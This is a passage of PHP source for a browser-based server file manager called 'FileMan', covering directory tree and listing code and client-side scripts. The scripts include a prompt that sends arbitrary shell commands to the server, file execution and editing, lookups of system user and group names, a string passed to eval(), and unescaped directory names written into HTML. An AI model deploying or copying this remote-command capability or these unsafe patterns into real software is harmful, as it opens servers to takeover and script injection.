2390 $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
2391 $done = false;
2392 while (!$done) {
2393 $str2 = str_replace("//","/",$str);
2394 if (strlen($str) == strlen($str2)) $done = true;
2395 else $str = $str2;
2396 }
2397 $tam = strlen($str);
2398 if ($tam){
2399 $last_char = $tam - 1;
2400 if ($str[$last_char] != "/") $str .= "/";
2401 if (!$islinux) $str = ucfirst($str);
2402 }
2403 return $str;
2404}
2405function array_csort() {
2406 $args = func_get_args();
2407 $marray = array_shift($args);
2408 $msortline = "return(array_multisort(";
2409 foreach ($args as $arg) {
2410 $i++;
2411 if (is_string($arg)) {
2412 foreach ($marray as $row) {
2413 $sortarr[$i][] = $row[$arg];
2414 }
2415 } else {
2416 $sortarr[$i] = $arg;
2417 }
2418 $msortline .= "\$sortarr[".$i."],";
2419 }
2420 $msortline .= "\$marray));";
2421 eval($msortline);
2422 return $marray;
2423}
2424function show_perms( $P ) {
2425 $sP = "<b>";
2426 if($P & 0x1000) $sP .= 'p'; // FIFO pipe
2427 elseif($P & 0x2000) $sP .= 'c'; // Character special
2428 elseif($P & 0x4000) $sP .= 'd'; // Directory
2429 elseif($P & 0x6000) $sP .= 'b'; // Block special
2430 elseif($P & 0x8000) $sP .= '−'; // Regular
2431 elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link
2432 elseif($P & 0xC000) $sP .= 's'; // Socket
2433 else $sP .= 'u'; // UNKNOWN
2434 $sP .= "</b>";
2435 // owner - group - others
2436 $sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−'));
2437 $sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−'));
2438 $sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−'));
2439 return $sP;
2440}
2441function format_size($arg) {
2442 if ($arg>0){
2443 $j = 0;
2444 $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
2445 while ($arg >= pow(1024,$j)) ++$j;
2446 return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
2447 } else return "0 bytes";
2448}
2449function get_size($file) {
2450 return format_size(filesize($file));
2451}
2452function check_limit($new_filesize=0) {
2453 global $fm_current_root;
2454 global $quota_mb;
2455 if($quota_mb){
2456 $total = total_size($fm_current_root);
2457 if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
2458 }
2459 return false;
2460}
2461function get_user($arg) {
2462 global $mat_passwd;
2463 $aux = "x:".trim($arg).":";
2464 for($x=0;$x<count($mat_passwd);$x++){
2465 if (strstr($mat_passwd[$x],$aux)){
2466 $mat = explode(":",$mat_passwd[$x]);
2467 return $mat[0];
2468 }
2469 }
2470 return $arg;
2471}
2472function get_group($arg) {
2473 global $mat_group;
2474 $aux = "x:".trim($arg).":";
2475 for($x=0;$x<count($mat_group);$x++){
2476 if (strstr($mat_group[$x],$aux)){
2477 $mat = explode(":",$mat_group[$x]);
2478 return $mat[0];
2479 }
2480 }
2481 return $arg;
2482}
2483function uppercase($str){
2484 global $charset;
2485 return mb_strtoupper($str, $charset);
2486}
2487function lowercase($str){
2488 global $charset;
2489 return mb_strtolower($str, $charset);
2490}
2491// +--------------------------------------------------
2492// | Interface
2493// +--------------------------------------------------
2494function html_header($header=""){
2495 global $charset,$fm_color;
2496 echo "
2497 <!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
2498 <html xmlns=\"http://www.w3.org/1999/xhtml\">
2499 <head>
2500 <meta http-equiv=\"content-type\" content=\"text/html; charset=".$charset."\" />
2501 <title>".et('FileMan')."</title>
2502 <script language=\"Javascript\" type=\"text/javascript\">
2503 <!--
2504 function Is(){
2505 this.appname = navigator.appName;
2506 this.appversion = navigator.appVersion;
2507 this.platform = navigator.platform;
2508 this.useragent = navigator.userAgent.toLowerCase();
2509 this.ie = ( this.appname == 'Microsoft Internet Explorer' );
2510 if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
2511 this.sisop = 'mac';
2512 } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
2513 this.sisop = 'windows';
2514 } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
2515 this.sisop = 'linux';
2516 }
2517 }
2518 var is = new Is();
2519 function enterSubmit(keypressEvent,submitFunc){
2520 var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
2521 if( kCode == 13) eval(submitFunc);
2522 }
2523 function getCookieVal (offset) {
2524 var endstr = document.cookie.indexOf (';', offset);
2525 if (endstr == -1) endstr = document.cookie.length;
2526 return unescape(document.cookie.substring(offset, endstr));
2527 }
2528 function getCookie (name) {
2529 var arg = name + '=';
2530 var alen = arg.length;
2531 var clen = document.cookie.length;
2532 var i = 0;
2533 while (i < clen) {
2534 var j = i + alen;
2535 if (document.cookie.substring(i, j) == arg) return getCookieVal (j);
2536 i = document.cookie.indexOf(' ', i) + 1;
2537 if (i == 0) break;
2538 }
2539 return null;
2540 }
2541 function setCookie (name, value, expires) {
2542 var argv = setCookie.arguments;
2543 var argc = setCookie.arguments.length;
2544 var expires = (argc > 2) ? argv[2] : null;
2545 var path = (argc > 3) ? argv[3] : null;
2546 var domain = (argc > 4) ? argv[4] : null;
2547 var secure = (argc > 5) ? argv[5] : false;
2548 document.cookie = name + '=' + escape (value) +
2549 ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) +
2550 ((path == null) ? '' : ('; path=' + path)) +
2551 ((domain == null) ? '' : ('; domain=' + domain)) +
2552 ((secure == true) ? '; secure' : '');
2553 }
2554 function delCookie (name) {
2555 var exp = new Date();
2556 exp.setTime (exp.getTime() - 1);
2557 var cval = getCookie (name);
2558 document.cookie = name + '=' + cval + '; expires=' + exp.toGMTString();
2559 }
2560 var frameWidth, frameHeight;
2561 function getFrameSize(){
2562 if (self.innerWidth){
2563 frameWidth = self.innerWidth;
2564 frameHeight = self.innerHeight;
2565 }else if (document.documentElement && document.documentElement.clientWidth){
2566 frameWidth = document.documentElement.clientWidth;
2567 frameHeight = document.documentElement.clientHeight;
2568 }else if (document.body){
2569 frameWidth = document.body.clientWidth;
2570 frameHeight = document.body.clientHeight;
2571 }else return false;
2572 return true;
2573 }
2574 getFrameSize();
2575 //-->
2576 </script>
2577 $header
2578 </head>
2579 <script language=\"Javascript\" type=\"text/javascript\">
2580 <!--
2581 var W = screen.width;
2582 var H = screen.height;
2583 var FONTSIZE = 0;
2584 switch (W){
2585 case 640:
2586 FONTSIZE = 8;
2587 break;
2588 case 800:
2589 FONTSIZE = 10;
2590 break;
2591 case 1024:
2592 FONTSIZE = 12;
2593 break;
2594 default:
2595 FONTSIZE = 14;
2596 break;
2597 }
2598 ";
2599 echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
2600 document.writeln('
2601 <style type=\"text/css\">
2602 body {
2603 font-family : Arial;
2604 font-size: '+FONTSIZE+'px;
2605 font-weight : normal;
2606 color: #".$fm_color['Text'].";
2607 background-color: #".$fm_color['Bg'].";
2608 }
2609 table {
2610 font-family : Arial;
2611 font-size: '+FONTSIZE+'px;
2612 font-weight : normal;
2613 color: #".$fm_color['Text'].";
2614 cursor: default;
2615 }
2616 input {
2617 font-family : Arial;
2618 font-size: '+FONTSIZE+'px;
2619 font-weight : normal;
2620 color: #".$fm_color['Text'].";
2621 }
2622 textarea {
2623 font-family : Courier;
2624 font-size: 12px;
2625 font-weight : normal;
2626 color: #".$fm_color['Text'].";
2627 }
2628 a {
2629 font-family : Arial;
2630 font-size : '+FONTSIZE+'px;
2631 font-weight : bold;
2632 text-decoration: none;
2633 color: #".$fm_color['Text'].";
2634 }
2635 a:link {
2636 color: #".$fm_color['Text'].";
2637 }
2638 a:visited {
2639 color: #".$fm_color['Text'].";
2640 }
2641 a:hover {
2642 color: #".$fm_color['Link'].";
2643 }
2644 a:active {
2645 color: #".$fm_color['Text'].";
2646 }
2647 tr.entryUnselected {
2648 background-color: #".$fm_color['Entry'].";
2649 }
2650 tr.entryUnselected:hover {
2651 background-color: #".$fm_color['Over'].";
2652 }
2653 tr.entrySelected {
2654 background-color: #".$fm_color['Mark'].";
2655 }
2656 </style>
2657 ');
2658 ")));
2659 echo "
2660 //-->
2661 </script>
2662 ";
2663}
2664function reloadframe($ref,$frame_number,$Plus=""){
2665 global $current_dir,$path_info;
2666 echo "
2667 <script language=\"Javascript\" type=\"text/javascript\">
2668 <!--
2669 ".$ref.".frame".$frame_number.".location.href='".$path_info["basename"]."?frame=".$frame_number."¤t_dir=".$current_dir.$Plus."';
2670 //-->
2671 </script>
2672 ";
2673}
2674function alert($arg){
2675 echo "
2676 <script language=\"Javascript\" type=\"text/javascript\">
2677 <!--
2678 alert('$arg');
2679 //-->
2680 </script>
2681 ";
2682}
2683function tree($dir_before,$dir_current,$indice){
2684 global $fm_current_root, $current_dir, $islinux;
2685 global $expanded_dir_list;
2686 $indice++;
2687 $num_dir = 0;
2688 $dir_name = str_replace($dir_before,"",$dir_current);
2689 $dir_before = str_replace("//","/",$dir_before);
2690 $dir_current = str_replace("//","/",$dir_current);
2691 $is_denied = false;
2692 if ($islinux) {
2693 $denied_list = "/proc#/dev";
2694 $mat = explode("#",$denied_list);
2695 foreach($mat as $key => $val){
2696 if ($dir_current == $val){
2697 $is_denied = true;
2698 break;
2699 }
2700 }
2701 unset($mat);
2702 }
2703 if (!$is_denied){
2704 if ($handle = @opendir($dir_current)){
2705 // Permitido
2706 while ($file = readdir($handle)){
2707 if ($file != "." && $file != ".." && is_dir("$dir_current/$file"))
2708 $mat_dir[] = $file;
2709 }
2710 @closedir($handle);
2711 if (count($mat_dir)){
2712 sort($mat_dir,SORT_STRING);
2713 // with Sub-dir
2714 if ($indice != 0){
2715 for ($aux=1;$aux<$indice;$aux++) echo " ";
2716 }
2717 if ($dir_before != $dir_current){
2718 if (strstr($expanded_dir_list,":$dir_current/$dir_name")) $op_str = "[–]";
2719 else $op_str = "[+]";
2720 echo "<nobr><a href=\"JavaScript:go_dir('$dir_current/$dir_name')\">$op_str</a> <a href=\"JavaScript:go('$dir_current')\">$dir_name</a></nobr><br>\n";
2721 } else {
2722 echo "<nobr><a href=\"JavaScript:go('$dir_current')\">$fm_current_root</a></nobr><br>\n";
2723 }
2724 for ($x=0;$x<count($mat_dir);$x++){
2725 if (($dir_before == $dir_current)||(strstr($expanded_dir_list,":$dir_current/$dir_name"))){
2726 tree($dir_current."/",$dir_current."/".$mat_dir[$x],$indice);
2727 } else flush();
2728 }
2729 } else {
2730 // no Sub-dir
2731 if ($dir_before != $dir_current){
2732 for ($aux=1;$aux<$indice;$aux++) echo " ";
2733 echo "<b>[ ]</b>";
2734 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $dir_name</a></nobr><br>\n";
2735 } else {
2736 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $fm_current_root</a></nobr><br>\n";
2737 }
2738 }
2739 } else {
2740 // denied
2741 if ($dir_before != $dir_current){
2742 for ($aux=1;$aux<$indice;$aux++) echo " ";
2743 echo "<b>[ ]</b>";
2744 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
2745 } else {
2746 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
2747 }
2748
2749 }
2750 } else {
2751 // denied
2752 if ($dir_before != $dir_current){
2753 for ($aux=1;$aux<$indice;$aux++) echo " ";
2754 echo "<b>[ ]</b>";
2755 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
2756 } else {
2757 echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
2758 }
2759 }
2760}
2761function show_tree(){
2762 global $fm_current_root,$path_info,$setflag,$islinux,$cookie_cache_time;
2763 html_header("
2764 <script language=\"Javascript\" type=\"text/javascript\">
2765 <!--
2766 function saveFrameSize(){
2767 if (getFrameSize()){
2768 var exp = new Date();
2769 exp.setTime(exp.getTime()+$cookie_cache_time);
2770 setCookie('leftFrameWidth',frameWidth,exp);
2771 }
2772 }
2773 window.onresize = saveFrameSize;
2774 //-->
2775 </script>");
2776 echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
2777 echo "
2778 <script language=\"Javascript\" type=\"text/javascript\">
2779 <!--
2780 // Disable text selection, binding the onmousedown, but not for some elements, it must work.
2781 function disableTextSelection(e){
2782 var type = String(e.target.type);
2783 return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
2784 }
2785 function enableTextSelection(){return true}
2786 if (is.ie) document.onselectstart=new Function('return false')
2787 else {
2788 document.body.onmousedown=disableTextSelection
2789 document.body.onclick=enableTextSelection
2790 }
2791 var flag = ".(($setflag)?"true":"false")."
2792 function set_flag(arg) {
2793 flag = arg;
2794 }
2795 function go_dir(arg) {
2796 var setflag;
2797 setflag = (flag)?1:0;
2798 document.location.href='".addslashes($path_info["basename"])."?frame=2&setflag='+setflag+'¤t_dir=".addslashes($current_dir)."&ec_dir='+arg;
2799 }
2800 function go(arg) {
2801 if (flag) {
2802 parent.frame3.set_dir_dest(arg+'/');
2803 flag = false;
2804 } else {
2805 parent.frame3.location.href='".addslashes($path_info["basename"])."?frame=3¤t_dir='+arg+'/';
2806 }
2807 }
2808 function set_fm_current_root(arg){
2809 document.location.href='".addslashes($path_info["basename"])."?frame=2&set_fm_current_root='+escape(arg);
2810 }
2811 function atualizar(){
2812 document.location.href='".addslashes($path_info["basename"])."?frame=2';
2813 }
2814 //-->
2815 </script>
2816 ";
2817 echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
2818 echo "<form><tr valign=top height=10><td>";
2819 if (!$islinux){
2820 echo "<select name=drive onchange=\"set_fm_current_root(this.value)\">";
2821 $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
2822 for($x=0;$x<strlen($aux);$x++){
2823 if ($handle = opendir($aux[$x].":/")){
2824 @closedir($handle);
2825 if (strstr(uppercase($fm_current_root),$aux[$x].":/")) $is_sel="selected";
2826 else $is_sel="";
2827 echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";
2828 }
2829 }
2830 echo "</select> ";
2831 }
2832 echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";
2833 echo "<tr valign=top><td>";
2834 clearstatcache();
2835 tree($fm_current_root,$fm_current_root,-1,0);
2836 echo "</td></tr>";
2837 echo "
2838 <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">
2839 <input type=hidden name=action value=1>
2840 <tr>
2841 <td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">
2842 </tr>
2843 </form>
2844 ";
2845 echo "</table>\n";
2846 echo "</body>\n</html>";
2847}
2848function getmicrotime(){
2849 list($usec, $sec) = explode(" ", microtime());
2850 return ((float)$usec + (float)$sec);
2851}
2852function dir_list_form() {
2853 global $fm_current_root,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$path_info,$fm_color;
2854 $ti = getmicrotime();
2855 clearstatcache();
2856 $out = "<table border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#eeeeee\">\n";
2857 if ($opdir = @opendir($current_dir)) {
2858 $has_files = false;
2859 $entry_count = 0;
2860 $total_size = 0;
2861 $entry_list = array();
2862 while ($file = readdir($opdir)) {
2863 if (($file != ".")&&($file != "..")){
2864 $entry_list[$entry_count]["size"] = 0;
2865 $entry_list[$entry_count]["sizet"] = 0;
2866 $entry_list[$entry_count]["type"] = "none";
2867 if (is_file($current_dir.$file)){
2868 $ext = lowercase(strrchr($file,"."));
2869 $entry_list[$entry_count]["type"] = "file";
2870 // Função filetype() returns only "file"...
2871 $entry_list[$entry_count]["size"] = filesize($current_dir.$file);
2872 $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]);
2873 if (strstr($ext,".")){
2874 $entry_list[$entry_count]["ext"] = $ext;
2875 $entry_list[$entry_count]["extt"] = $ext;
2876 } else {
2877 $entry_list[$entry_count]["ext"] = "";
2878 $entry_list[$entry_count]["extt"] = " ";
2879 }
2880 $has_files = true;
2881 } elseif (is_dir($current_dir.$file)) {
2882 // Recursive directory size disabled
2883 // $entry_list[$entry_count]["size"] = total_size($current_dir.$file);
2884 $entry_list[$entry_count]["size"] = 0;
2885 $entry_list[$entry_count]["sizet"] = " ";
2886 $entry_list[$entry_count]["type"] = "dir";
2887 }
2888 $entry_list[$entry_count]["name"] = $file;
2889 $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file));
2890 $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file));
2891 $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir.$file));
2892 if ($islinux && $resolveIDs){
2893 $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file));
2894 $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir.$file));
2895 $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir.$file));
2896 } else {
2897 $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8);
2898 $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
2899 $entry_list[$entry_count]["u"] = fileowner($current_dir.$file);
2900 $entry_list[$entry_count]["g"] = filegroup($current_dir.$file);
2901 }
2902 $total_size += $entry_list[$entry_count]["size"];
2903 $entry_count++;
2904 }
2905 }
2906 @closedir($opdir);
2907
2908 if($entry_count){
2909 $or1="1A";
2910 $or2="2D";
2911 $or3="3A";
2912 $or4="4A";
2913 $or5="5A";
2914 $or6="6D";
2915 $or7="7D";
2916 switch($order_dir_list_by){
2917 case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
2918 case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
2919 case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
2920 case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
2921 case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
2922 case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
2923 case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
2924 case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
2925 case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
2926 case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
2927 case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
2928 case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
2929 case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
2930 case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
2931 }
2932 }
2933 $out .= "
2934 <script language=\"Javascript\" type=\"text/javascript\">
2935 <!--
2936 function go(arg) {
2937 document.location.href='".addslashes($path_info["basename"])."?frame=3¤t_dir=".addslashes($current_dir)."'+arg+'/';
2938 }
2939 function resolveIDs() {
2940 document.location.href='".addslashes($path_info["basename"])."?frame=3&set_resolveIDs=1¤t_dir=".addslashes($current_dir)."';
2941 }
2942 var entry_list = new Array();
2943 // Custom object constructor
2944 function entry(name, type, size, selected){
2945 this.name = name;
2946 this.type = type;
2947 this.size = size;
2948 this.selected = false;
2949 }
2950 // Declare entry_list for selection procedures";
2951 foreach ($entry_list as $i=>$data){
2952 $out .= "\nentry_list['entry$i'] = new entry('".addslashes($data["name"])."', '".$data["type"]."', ".$data["size"].", false);";
2953 }
2954 $out .= "
2955 // Select/Unselect Rows OnClick/OnMouseOver
2956 var lastRows = new Array(null,null);
2957 function selectEntry(Row, Action){
2958 if (multipleSelection){
2959 // Avoid repeated onmouseover events from same Row ( cell transition )
2960 if (Row != lastRows[0]){
2961 if (Action == 'over') {
2962 if (entry_list[Row.id].selected){
2963 if (unselect(entry_list[Row.id])) {
2964 Row.className = 'entryUnselected';
2965 }
2966 // Change the last Row when you change the movement orientation
2967 if (lastRows[0] != null && lastRows[1] != null){
2968 var LastRowID = lastRows[0].id;
2969 if (Row.id == lastRows[1].id){
2970 if (unselect(entry_list[LastRowID])) {
2971 lastRows[0].className = 'entryUnselected';
2972 }
2973 }
2974 }
2975 } else {
2976 if (select(entry_list[Row.id])){
2977 Row.className = 'entrySelected';
2978 }
2979 // Change the last Row when you change the movement orientation
2980 if (lastRows[0] != null && lastRows[1] != null){
2981 var LastRowID = lastRows[0].id;
2982 if (Row.id == lastRows[1].id){
2983 if (select(entry_list[LastRowID])) {
2984 lastRows[0].className = 'entrySelected';
2985 }
2986 }
2987 }
2988 }
2989 lastRows[1] = lastRows[0];
2990 lastRows[0] = Row;
2991 }
2992 }
2993 } else {
2994 if (Action == 'click') {
2995 var newClassName = null;
2996 if (entry_list[Row.id].selected){
2997 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
2998 } else {
2999 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3000 }
3001 if (newClassName) {
3002 lastRows[0] = lastRows[1] = Row;
3003 Row.className = newClassName;
3004 }
3005 }
3006 }
3007 return true;
3008 }
3009 // Disable text selection and bind multiple selection flag
3010 var multipleSelection = false;
3011 if (is.ie) {
3012 document.onselectstart=new Function('return false');
3013 document.onmousedown=switch_flag_on;
3014 document.onmouseup=switch_flag_off;
3015 // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
3016 window.onscroll=new Function('multipleSelection=false');
3017 window.onresize=new Function('multipleSelection=false');
3018 } else {
3019 if (document.layers) window.captureEvents(Event.MOUSEDOWN);
3020 if (document.layers) window.captureEvents(Event.MOUSEUP);
3021 window.onmousedown=switch_flag_on;
3022 window.onmouseup=switch_flag_off;
3023 }
3024 // Using same function and a ternary operator couses bug on double click
3025 function switch_flag_on(e) {
3026 if (is.ie){
3027 multipleSelection = (event.button == 1);
3028 } else {
3029 multipleSelection = (e.which == 1);
3030 }
3031 var type = String(e.target.type);
3032 return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
3033 }
3034 function switch_flag_off(e) {
3035 if (is.ie){
3036 multipleSelection = (event.button != 1);
3037 } else {
3038 multipleSelection = (e.which != 1);
3039 }
3040 lastRows[0] = lastRows[1] = null;
3041 update_sel_status();
3042 return false;
3043 }
3044 var total_dirs_selected = 0;
3045 var total_files_selected = 0;
3046 function unselect(Entry){
3047 if (!Entry.selected) return false;
3048 Entry.selected = false;
3049 sel_totalsize -= Entry.size;
3050 if (Entry.type == 'dir') total_dirs_selected--;
3051 else total_files_selected--;
3052 return true;
3053 }
3054 function select(Entry){
3055 if(Entry.selected) return false;
3056 Entry.selected = true;
3057 sel_totalsize += Entry.size;
3058 if(Entry.type == 'dir') total_dirs_selected++;
3059 else total_files_selected++;
3060 return true;
3061 }
3062 function is_anything_selected(){
3063 var selected_dir_list = new Array();
3064 var selected_file_list = new Array();
3065 for(var x=0;x<".(integer)count($entry_list).";x++){
3066 if(entry_list['entry'+x].selected){
3067 if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
3068 else selected_file_list.push(entry_list['entry'+x].name);
3069 }
3070 }
3071 document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
3072 document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
3073 return (total_dirs_selected>0 || total_files_selected>0);
3074 }
3075 function format_size (arg) {
3076 var resul = '';
3077 if (arg>0){
3078 var j = 0;
3079 var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
3080 while (arg >= Math.pow(1024,j)) ++j;
3081 resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
3082 } else resul = 0;
3083 return resul;
3084 }
3085 var sel_totalsize = 0;
3086 function update_sel_status(){
3087 var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+format_size(sel_totalsize);
3088 //document.getElementById(\"sel_status\").innerHTML = t;
3089 window.status = t;
3090 }
3091 // Select all/none/inverse
3092 function selectANI(Butt){
3093 cancel_copy_move();
3094 for(var x=0;x<". (integer)count($entry_list).";x++){
3095 var Row = document.getElementById('entry'+x);
3096 var newClassName = null;
3097 switch (Butt.value){
3098 case '".et('SelAll')."':
3099 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3100 break;
3101 case '".et('SelNone')."':
3102 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
3103 break;
3104 case '".et('SelInverse')."':
3105 if (entry_list[Row.id].selected){
3106 if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
3107 } else {
3108 if (select(entry_list[Row.id])) newClassName = 'entrySelected';
3109 }
3110 break;
3111 }
3112 if (newClassName) {
3113 Row.className = newClassName;
3114 }
3115 }
3116 if (Butt.value == '".et('SelAll')."'){
3117 for(var i=0;i<2;i++){
3118 document.getElementById('ANI'+i).value='".et('SelNone')."';
3119 }
3120 } else if (Butt.value == '".et('SelNone')."'){
3121 for(var i=0;i<2;i++){
3122 document.getElementById('ANI'+i).value='".et('SelAll')."';
3123 }
3124 }
3125 update_sel_status();
3126 return true;
3127 }
3128 function download(arg){
3129 parent.frame1.location.href='".addslashes($path_info["basename"])."?action=3¤t_dir=".addslashes($current_dir)."&filename='+escape(arg);
3130 }
3131 function upload(){
3132 var w = 400;
3133 var h = 250;
3134 window.open('".addslashes($path_info["basename"])."?action=10¤t_dir=".addslashes($current_dir)."', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3135 }
3136 function execute_cmd(){
3137 var arg = prompt('".et('TypeCmd').".');
3138 if(arg.length>0){
3139 if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
3140 var w = 800;
3141 var h = 600;
3142 window.open('".addslashes($path_info["basename"])."?action=6¤t_dir=".addslashes($current_dir)."&cmd='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3143 }
3144 }
3145 }
3146 function decompress(arg){
3147 if(confirm('".uppercase(et('Decompress'))." \\' '+arg+' \\' ?')) {
3148 document.form_action.action.value = 72;
3149 document.form_action.cmd_arg.value = arg;
3150 document.form_action.submit();
3151 }
3152 }
3153 function execute_file(arg){
3154 if(arg.length>0){
3155 if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
3156 var w = 800;
3157 var h = 600;
3158 window.open('".addslashes($path_info["basename"])."?action=11¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3159 }
3160 }
3161 }
3162 function edit_file(arg){
3163 var w = 1024;
3164 var h = 768;
3165 // if(confirm('".uppercase(et('Edit'))." \\' '+arg+' \\' ?'))
3166 window.open('".addslashes($path_info["basename"])."?action=7¤t_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3167 }
3168 function config(){
3169 var w = 650;
3170 var h = 400;
3171 window.open('".addslashes($path_info["basename"])."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
3172 }
3173 function server_info(arg){
3174 var w = 800;
3175 var h = 600;
